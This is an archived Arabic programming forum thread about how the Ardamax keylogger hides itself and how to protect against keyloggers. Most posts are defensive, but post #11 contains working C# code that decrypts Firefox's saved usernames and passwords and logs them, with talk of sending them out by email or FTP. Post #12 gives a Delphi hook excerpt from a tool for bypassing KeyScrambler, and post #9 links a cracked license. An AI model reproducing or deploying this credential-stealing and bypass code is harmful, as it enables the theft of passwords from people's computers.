الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

لمَ كل هذا التعقيد يا Arda !؟

بدأه Snack3r في 11 أغسطس 2012 · 11 رد · 1,640 مشاهدة · في الأخبار والنقاشات التقنية
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع
post-219439-024200400 1344688238_thumb.g

Ardamax لمن لا يعرفه, هو برنامج تجسس, يقوم بتسجيل كل ما يحدث في جهاز الكمبيوتر بأدق التفاصيل حيث يُخزن كل ما تمت كتابته من لوحة المفاتيح و يلتقط صورا للشاشة كل فترة مُعينة, يُحددها المُستخدم. كما يُخزن جميع المواقع التي تمت زيارتها مع بعض التفاصيل (وقت الزيارة, اسم الحساب, عدد الزيارات) و المُحادثات التي تمت في أحد البرامج المشهورة مثل

AIM, Windows Live Messenger, ICQ, Skype, Yahoo Messenger, Google Talk, Miranda and QiP

و هلم جرا ...

post-219439-065780800 1344688429_thumb.j

يُمكن للبرنامج أن يُرسل لك تقرير كامل كل فترة معينة يحتوي على تفاصيل ما حدث في جهازك, يُمكنه إرسال التقرير إلى E-mail أو FTP Server أو Local network.

عند إعداد البرنامج يطلب منك إدخال كلمة مرور ستحتاج إليها لاحقا عندما تريد الدخول إليه.

post-219439-092872300 1344684864_thumb.j

يُستخدم هذا النوع من البرامج لأغراض نبيلة كما يُستخدم أيضا لأغراض خبيثة.

تتمثل الأغراض النبيلة في تثبيت البرنامج من أجل مراقبة جهازك عن بعد أو مراقبة أطفالك مثلا أما الأغراض الخبيثة فتتمثل في تثبيت البرنامج في جهاز الضحية من أجل التجسس.

توجد عدة برامج للحماية من Spyware, أشهرها Zemana AntiLogger :

post-219439-002494500 1344685796_thumb.j

كما توجد أيضا طرق كلاسيكية للتشويش على برامج التجسس, فمثلا لنفترض أن كلمة مرور المستخدم هي $~$Arab_TeAm-FoRuM.c0m, يقوم المستخدم بإدخال جزء صغير من كلمة المرور ثم يذهب إلى فراغ و يكتب أحرف عشوائية مثل 7EKCAZF8VZL91O و هكذا, فتصبح كلمة المرور في النهاية هي

$~$A7EKCAZF8VZL91Orab_Te934YFGAJVZHAm-FoRuMVHAZPVHZ3M.c0MQOUG9PAHBm

و بالتالي من الصعب جدا معرفة كلمة المرور الحقيقية انطلاقا من كلمة المرور المزيفة !

و لكن لا أعتقد أن هذه الطرق تصلح مع Arda لأنه يُسجل ما تم إدخاله في الحقول الخاصة باسم المستخدم و كلمة المرور فقط.

بالطبع, تنقسم برامج التجسس إلى قسمين, Software Keyloggers و Hardware Keyloggers.

النوع الأول يعمل على مستوى النظام أما النوع الثاني فيعمل على مستوى الأجهزة.

عادة ما تُكتشف الـ Software Keyloggers من طرف برامج الحماية, لأنها غالبا ما تقوم بعمل API hook. لكن لصديقنا الــ Arda حالته الخاصة لأنه يعمل في الخفاء .. فلا تراه في Device Manager و لا في Process Explorer و لا في أي شيئ آخر, لا يظهر نهائيا (اقرأ عن Latent Processes إن لم تُصدق الأمر)

الـ Hardware Keylogger عبارة عن جهاز صغير يتم تركيبه بين الــ Keyboard و بين جهاز الكمبيوتر به Microcontroller تتم برمجته لالتقاط جميع ما تمت كتابته من لوحة المفاتيح فهو يلتقط الـ datastream الخارجة من الكيبورد للكمبيوتر و تتم ترجمتها و تخزينها فى ذاكرة داخلية و بالطبع لأنها خارج نطاق سيطرة النظام فلن يتعرف عليها النظام أو برامجه !

توجد عدة إصدارات لهذا النوع, أحدها على شكل USB و الآخر على شكل كابل :

post-219439-090315900 1344689327_thumb.j

توجد منه عدة أنواع :

  1. Regular Hardware Keylogger
  2. Remote Access Hardware Keyloggers
  3. Wireless Keylogger sniffers

السؤال الذي يطرح نفسه هو : كيف يعمل Arda ؟ و ما هي التقنيات التي يستخدمها ؟

و كيف نحمي أنفسنا منه ؟

تحياتي العطرة.

المرفقات
Arda.jpgzemana-antilogger.jpegBass-3.gifArdamax Keylogger.jpgKeyGhost-USB-512KB-Plugs.jpg
6
#2

السلام عليكم

يعطيك ألف عافية أخي موضوع رائع

بالنسبة لطريقة عمله على ماأعتقد أني أعرف كيف يحمي نفسه

شوف هذا المثال : الرابط

وعلى ما أعتقد أنه إستطاع الحصول على hwnd لعنصر الباسوورد للبرنامج وإستطاع الإستفادة منه في عمله

بس يمكن بنقدر نكشفه إذا ألقينا نظرة على الخدمات والبرامج التي تقلع مع الجهاز عن طريق msconfig

وشكراً لك أخي مرة اخرى

Be the change you want to see in the world


#3

السلام عليكم ورحمة الله تعالى و بركاته smile.gif

أظن أنه علينا أن نجد نقيضا لهذه الدالة التي تستخدمها جل ال Keyloggers و هي الدالة GetAsyncKeyState happy.gif

rS3eY.png
#4

أخي أحمد ن هل لديك مقالات عن Latent Processes لأنني بحتث في جوجل و لم أجد شيئا عن البرمجة ؟ wacko.gif

rS3eY.png
#5

بسم الله والحمد لله

أما كيف يعمل البرنامج وما هي تقنياته فذلك يكون بالاطلاع على الكود سورس

وأما كيف نحمي أنفسنا منه فأعتقد أن الأنتي فايروس كاسبر سكي و AVG قادران على التخلص منه

vVIfFr.gif

مدونتي



إذا رأيتموني غبت فأطلت الغياب فربما أكون قد انتقلت عن الدنيا إلى الآخرة

فما أحوجني إلى دعوة صالحة من أخ لي كريم

 

http://www.tvquran.com/

 

LoGeCom

أول برنامج عربي للمحاسبة والتجارة وإدراة المخازن يعمل على اللينكس والماك والويندوز 

#6
اقتباس
شوف هذا المثال : الرابط

جميل جدا و المحتوى طويل أيضا :)

لذا حاول تلخيص الأفكار الموجودة في الرابط و التي تريد عرضها في الموضوع حتى نستطيع مناقشتها معا.

اقتباس
بس يمكن بنقدر نكشفه إذا ألقينا نظرة على الخدمات والبرامج التي تقلع مع الجهاز عن طريق msconfig

المشكلة الرئيسية تكمن في صلاحيات الــ Arda, لأنه يملك صلاحيات System بينما يملك المستخدم صلاحيات User أو Admin على الأكثر, و بالتالي لا يمكنه تغيير خصائص البرنامج بهذه الطريقة. أضف إلى ذلك أن الملفات الحساسة التي يرتكز عليها البرنامج تكون مُشفرة و غير قابلة للتعديل و هذا ما يزيد الأمر سوءاً ..

اقتباس
أظن أنه علينا أن نجد نقيضا لهذه الدالة التي تستخدمها جل ال Keyloggers و هي الدالة GetAsyncKeyState

هل تقصد تعطيل عمل الدالة أو التشويش عليها ؟

عموما, لا أعتقد أن برامج التجسس المتقدمة تستعمل هذه الدالة لأنها بدائية جدا حيث تلتقط كل ما تم إدخاله عن طريق الــ Keyboard . أما الــ Keylogger المتقدمة فتلتقط ما تم إدخاله في الحقول الخاصة باسم المستخدم و كلمة المرور فقط.

اقتباس
أخي أحمد ن هل لديك مقالات عن Latent Processes لأنني بحتث في جوجل و لم أجد شيئا عن البرمجة ؟

الــ Latent Processes تُعتبر من الأمور المتقدمة جدا جدا في البرمجة لذا قد لا تجد لها مراجع بهذه السهولة.

يُمكنك البدء مع هذا البرنامج الذي يقوم بالكشف عن جميع البرامج التي تعمل (Processes) بطرق مختلفة, البرنامج للمبرمج الروسي المشهور Ms-Rem

اقتباس
أما كيف يعمل البرنامج وما هي تقنياته فذلك يكون بالاطلاع على الكود سورس

وأما كيف نحمي أنفسنا منه فأعتقد أن الأنتي فايروس كاسبر سكي و AVG قادران على التخلص منه

للأسف, لا يمكننا رؤية الكود سورس الخاص بالبرنامج لأنه ليس مفتوح المصدر.

لكن الحديث هنا أساسا عن التقنيات العامة المُستخدمة في برامج التجسس سواء تعلق الأمر بتشفير الملف الذي تُحفظ فيها المعلومات أو إخفاء الــ Processes الخاص بالبرنامج أو ...

#7

شكر الله لك أستاذي الحبيب أحمد انا اعتقد أن الحماية من الهجمات المعقدة والموجهة تعتمد من بين أمور أخري على نطام التشيغيل فمثلا تكون الحماية أسهل و أكثر سلاسة على اللينكس منها على الويندوز اما الهجمات الفضفاضة إن صح التعبير و أقصد هنا الهجمات التي يمكن ان يتعرض لها أي شخص و البرامج العامة التي طورت للتجسس وغيره فبرغم تطورها إلا انها معروفة ووسائل الحماية منها تتطور هي الأخري بناءا على ان الخطر يمكن تحديده وبالتالى مواجهته و أعتقد أن أي مضاد للفيروسات كفيل بهذا النوع من الأخطار والله تعالي أعلم

#8

شكرا أخي Babah على المرور :happy:

اقتباس
فمثلا تكون الحماية أسهل و أكثر سلاسة على اللينكس منها على الويندوز

Linux بدوره لم يسلم من هجمات الــ Keyloggers, يوجد Lkl و Uberkey اللذان يدعمان PS/2 Keyboard فقط, و Logkeys بالنسبة لــ USB keyboards.

تحياتي.

#9

436732631.png

قمت بكسره مند مدة و لكنه يظهر عادي في taskmanager رغم اني لم احلل الية عمله بالظبظ لكن كنت اظنه كيلوجر عادي

حمل الترخيص من هنا

hxxp://www.mediafire.com/?sctzaoewawhbnc5
#10
اقتباس
قمت بكسره مند مدة و لكنه يظهر عادي في taskmanager رغم اني لم احلل الية عمله بالظبظ لكن كنت اظنه كيلوجر عادي

لعلك استخدمت البرنامج بالوضع الإفتراضي (Default Mode), لأنه تستحيل رؤية البرنامج عند تشغيله بالوضع Hidden Mode, راجع هذه الصفحة لمعرفة المزيد.

اقتباس
حمل الترخيص من هنا

الهدف من الموضوع ليس طلب KeyGen أو Crack للبرنامج !

الموضوع يُركز على طريقة عمل الــ Keyloggers من زاويتين هما : "البرمجة و الحماية", الأسئلة المطروحة هي :

  1. بشكل عام, ما هي أهم التقنيات المُستخدمة في برامج التجسس ؟ (وضعتُ Arda كمثال فقط)
  2. كيف نحمي أنفسنا منه الــ Keyloggers ؟ (يُستحسن استعراض طرق تُخاطب المبرمج أكثر من المستخدم العادي)
#11

السلم عليكم ورحمة الله و بركاتة

اولا : ( كما توجد أيضا طرق كلاسيكية للتشويش على برامج التجسس, فمثلا لنفترض أن كلمة مرور المستخدم هي $~$Arab_TeAm-FoRuM.c0m, يقوم المستخدم بإدخال جزء صغير من كلمة المرور ثم يذهب إلى فراغ و يكتب أحرف عشوائية مثل 7EKCAZF8VZL91O و هكذا, فتصبح كلمة المرور في النهاية هي

$~$A7EKCAZF8VZL91Orab_Te934YFGAJVZHAm-FoRuMVHAZPVHZ3M.c0MQOUG9PAHBm )

انفرض انك تعمل علي الفايرفوكس وتقوم بوضع جزء من الباسورد ثم تقوم مثلا بكتابة ارقام حروف عشوائية في notepad في الوقت الذي تنتقل فية

يقوم الكيلوجر بعملية الترتيب كمثال

mozila firefox -aramteam2000

msshfh

mypassword

اثناء كتابتي لكلمة mypassword

اذا انتقلت لكتابة ارقام وحروف عشوائية يتم ذكر ال title الجديد وطبعا سيكون notepad

واعتقد لحل هذة المشكلة اثناء كتابتك للباسورد في الخانة الخاصة بة تقوم بالكتابة في مثلا navigation bar الخاص بالمتصفح وليس في مكان فارغ خارج المتصفح

احببت ذكر هذة النقطة لانها مهمة والبعض لا يضعها في الحسبان

===========================================================================

ثانيا بالنسبة لعملية التشفير انصحك باستخدام برنامج اكثر من رائع keyscrambler

انا اعتبر ان هذا هوا اقوي برنامج تعرفت علية

اولا يقوم بتشفير جميع كتاباتك علي الكيبورد وعندما يقوم الكيلوجر بالقراءة تظهر مشفرة

ثانيا : وهي الاهم لنفرض ان المخترق قام باغلاق عملية البرنامج لكي يتوقف البرنامج عن التشغيل

هذة الطريقة لا تنفع لانني اعتقد ان البرنامج يقوم بحماية الملفات التنفيذية وان تم اغلاقة يظل يعمل مهما حاولت الحل الوحيد ان تقوم بعمل بحذفة بطريقة عادية ويتطلب اثناءها اعادة تشغل النظام

فقط قم بالتجربة

===========================================================================

بالنسبة لذكرك ( و لكن لا أعتقد أن هذه الطرق تصلح مع Arda لأنه يُسجل ما تم إدخاله في الحقول الخاصة باسم المستخدم و كلمة المرور فقط. )

لناخذ كمثال برنامج الفايرفوكس عندما تقوم بوضع الباسورد واسم المسخدم الخاص بك يقوم المتصفح بحفظ اسم المستخدم و الرفم السري ثم يتم وضعها في بروفايل خاص بالمستخدم

الفكرة ان تقوم بفك تشفيرة الملفات الموجود في البروفيل ومن ثم التنسيق ثم ارسال الاكواد التي تم فك تشفيرها الي الايميل او وسيلة كانت ftp كما ذكرت

للتوضيح اكثر انظر الي هذا الكود ||| هذا الكود خاص بالمتصفح فايرفوكس|||

هذا الكود بلغة C#

 public static void GetFf()
        {
            if (File.Exists(Config.Logname))
            {
                File.Delete(Config.Logname);
            }
            StreamWriter writer = File.CreateText(Config.Logname);
            long keySlot = 0;
            string defaultPath = Environment.GetEnvironmentVariable("APPDATA") + @"\Mozilla\Firefox\Profiles";
            string[] dirs = Directory.GetDirectories(defaultPath);
            foreach (string dir in dirs)
            {
                if (true)
                {
                    string[] files = Directory.GetFiles(dir);
                    foreach (string currFile in files)
                    {
                        if (true)
                        {
                            if (System.Text.RegularExpressions.Regex.IsMatch(currFile, "signons.sqlite"))
                            {
                                NSS_Init(dir);
                                Signon = currFile;
                            }
                        }
                    }
                }
            }

            string dataSource = Signon;
            new TsecItem();
            var tSecDec = new TsecItem();
            var tSecDec2 = new TsecItem();
            var db = new SQLiteBase(dataSource);

            DataTable table = db.ExecuteQuery("SELECT * FROM moz_logins;");
            DataTable table2 = db.ExecuteQuery("SELECT * FROM moz_disabledHosts;");
            foreach (DataRow row in table2.Rows)
            {
                Log = row["hostname"].ToString();
            }
            keySlot = PK11_GetInternalKeySlot();
            PK11_Authenticate(keySlot, true, 0);
            foreach (DataRow Zeile in table.Rows)
            {
                string formurl = Convert.ToString(Zeile["formSubmitURL"].ToString());
                Log = Log + " URL: " + formurl + " ";
                var se = new StringBuilder(Zeile["encryptedUsername"].ToString());
                int hi2 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se, se.Length);
                var item = (TsecItem)Marshal.PtrToStructure(new IntPtr(hi2), typeof(TsecItem));
                byte[] bvRet;
                if (PK11SDR_Decrypt(ref item, ref tSecDec, 0) == 0)
                {
                    if (tSecDec.SecItemLen != 0)
                    {
                        bvRet = new byte[tSecDec.SecItemLen];
                        Marshal.Copy(new IntPtr(tSecDec.SecItemData), bvRet, 0, tSecDec.SecItemLen);
                        Log = Log + "USER: " + Encoding.ASCII.GetString(bvRet) + " ";
                    }
                }
                var se2 = new StringBuilder(Zeile["encryptedPassword"].ToString());
                int hi22 = NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, se2, se2.Length);
                var item2 = (TsecItem)Marshal.PtrToStructure(new IntPtr(hi22), typeof(TsecItem));
                if (PK11SDR_Decrypt(ref item2, ref tSecDec2, 0) == 0)
                {
                    if (tSecDec2.SecItemLen != 0)
                    {
                        bvRet = new byte[tSecDec2.SecItemLen];
                        Marshal.Copy(new IntPtr(tSecDec2.SecItemData), bvRet, 0, tSecDec2.SecItemLen);
                        Log = Log + "PASSWORD: " + Encoding.ASCII.GetString(bvRet);
                    }
                }
                Thread.Sleep(500);
                writer.WriteLine(Log);
                writer.Flush();
                Log = "";

            }
            writer.Close();
        }

    }
}

جيد سيقوم البعض بتخطي هذة المشكلة بحيث انة لا يقوم بحفظ المعلومات في متصفح الفايرفوكس

السؤال اريد الان ان اقوم بحفظ معلومات كاملة في الفايرفوكس مع الحفاظ عليها ؟ انا اعلم طريقة بسيطة ولكن لنري اقتراحات الاعضاء

واذا تطلب النقاش الي ان اقوم بعمل مقالة كاملة عن طرق الاختراق تلك برمجيا و الحماية و بالتفصيل طبعا اذا تطلب و توفر الوقت ايضا

تحياتي

تم تعديل هذه المشاركة بواسطة msshfh في 27 أغسطس 2012 في 03:12

#12

انا اردت وضع السريال لم يريده ربما لتجربة البرنامج مثلا

على كل طريق الاخفاء اغلبها شائعة و معروفة و لا اعتقد ان برنامج arda يستخدم طرق برايفت او طرق بدرايفر لانه لا يحوي دايرفر .sys حسب علمي

استعمال kernel detective يمكن كشف البروسيس بادن الله

على كل طرق تنصت الكايلوجر اغلبها ب hook و انا لا اكد ان arda يعمل بها لكني ساحلله و اعود بخباياه بادن الله

اقتباس
واعتقد لحل هذة المشكلة اثناء كتابتك للباسورد في الخانة الخاصة بة تقوم بالكتابة في مثلا navigation bar الخاص بالمتصفح وليس في مكان فارغ خارج المتصفح

فعلا شيئ مهم و هي تعتمد على get forgound windows : api لجلب نافدة العلوية اثناء حدث الكتابة و التي اجباريا يكون المستخدم يعمل عليها

و فيارفوكس يوفر حماية لكمات السر هي "ماستر باسوورد" ليقوم بتشفير كلمات السر في قاعدة بيانات

بشكل عام, ما هي أهم التقنيات المُستخدمة في برامج التجسس ؟ (وضعتُ Arda كمثال فقط)

اعتقد اهمها :

hook and low level hook key_proc

getkeystat . iskeypressed .... و غيرها من دوال api للكايبورد

pass stealer لسحب باسات المخزنة بالجهاز من البرامج المشهورة و هي غير محددة حسب الية البرنامج الضحية

كيف نحمي أنفسنا منه الــ Keyloggers ؟ (يُستحسن استعراض طرق تُخاطب المبرمج أكثر من المستخدم العادي)

لا ادري ما تريد من وراء هدا ا اكود ام كلام عادي

على كل يمكن عمل مايلي :فحص الجهاز من اشهر الكايلوجر و حدفها او عمل طريقة كتشفير مفاتيح مثل keyscramlbler او api hook لدوال التي يستعملها keyloger مثل zaman

و الحقيقة ان كنت انشط في طريق تخطي anti logger هههه و قمت بتخطي keyscrambler بدلفي و سحب المفاتيح غير مشفرة

اقتباس
hxxp://www.arabteam2000-forum.com/index.php?showtopic=237387&st=0&p=1176830&fromsearch=1entry1176830

'طبعا بعد معرفة جزء مهم من الية العمل و هدا مقتطف من سورس

function sendmessagewhookproc (hwindows: hwnd; msg: uint; wchar: wparam; keydata: lparam):hresult; stdcall;
//wacii : widestring;
begin
//wacii := 'keyscrambler (r) final bypass library by : pirate-inc (c) | email : mi-dou39@hotmail.com' + #10+#13+'key is : ' + chr (wchar);
try
if msg = wm_char then updatelogo (wchar);
finally
result := sendmessagewnexthook (hwindows,msg,wchar,keydata);
end;
end;

function translatemessagehookproc (msgstruct: pointer):bool; stdcall;
var
msg : ^tmsg;
begin
try
msg := msgstruct;
if (msg.message = wm_keydown) and ((msg.wparam = 8) or (msg.wparam = 13)) then updatelogo (msg.wparam);
finally
result := translatemessagenexthook (msgstruct);
end;
end;

تم تعديل هذه المشاركة بواسطة houdini في 27 أغسطس 2012 في 15:51

مواضيع مشابهة